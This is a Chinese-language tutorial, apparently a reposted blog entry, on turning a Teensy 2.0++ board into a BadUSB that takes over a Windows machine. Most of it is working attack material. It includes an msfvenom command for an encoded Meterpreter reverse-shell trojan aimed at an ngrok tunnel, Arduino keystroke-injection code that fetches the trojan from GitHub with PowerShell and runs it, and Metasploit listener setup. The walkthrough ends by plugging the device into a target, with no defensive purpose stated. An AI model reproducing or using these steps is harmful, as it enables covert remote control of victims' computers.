滲透利器-BadUSB 控制外網主機詳解 Teensy2.0++
阿新 • • 發佈:2018-12-11
準備工作
- 一塊 Teensy2.0++ 的板子(淘寶一搜就有)
- Arduino編譯器
1.下載好arduino後直接解壓
⚡ /home/da1sy/arduino-1.8.7# ./arduino
2.安裝Teensy外掛
⚡ /home/da1sy/arduino-1.8.7# ./TeensyduinoInstall.linux64
注意將外掛安裝到arduino的解壓目錄下
3.arduino修改配置
開啟軟體後將 工具 下配置修改如下
4.利用ngrok實現內網穿透
在https://www.ngrok.cc/ 註冊賬號後開通tcp隧道
下載客戶端
⚡/home/da1sy/桌面/linux_amd64# ./sunny clientid 隧道ID號
5.利用msfvenom生成windows端木馬
⚡/home/da1sy# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=free.idcfengye.com lport=17839 -f exe > windows.exe
lhost 為執行sunny後的域名,lport為開通隧道時填寫的埠(執行後也會有顯示)
最後將生成的木馬放到github專案上實現遠端下載
6.編輯arduino程式碼
char *command1 = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://raw.githubusercontent.com/da1sy/da1sy/master/windows.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file); "; char *command2 = "%HOMEPATH%\\windows.exe "; //將連線的地址改為自己github的地址 void setup() { delay(5000); omg(command1); delay(15000); omg(command2); } void loop() {} void omg(char *SomeCommand) { Keyboard.set_modifier(128); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(1500); Keyboard.println(SomeCommand); }
編輯好後點驗證,然後插入Teensy板子,最後按一下板子上的按鈕完成上傳
7.metasploit開啟監聽
⚡ /home/da1sy/# msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set lhost 127.0.0.1
msf exploit(multi/handler) > set lport 6666 //ngrok開通隧道時填寫的本地地址與埠號
msf exploit(multi/handler) > exploit
8.最後對目標插入badusb
效果圖如下
監聽端
最後反彈的會話好像是出現了毛病,不過總體上嘛 問題不大
一些其他的程式碼
有時間再補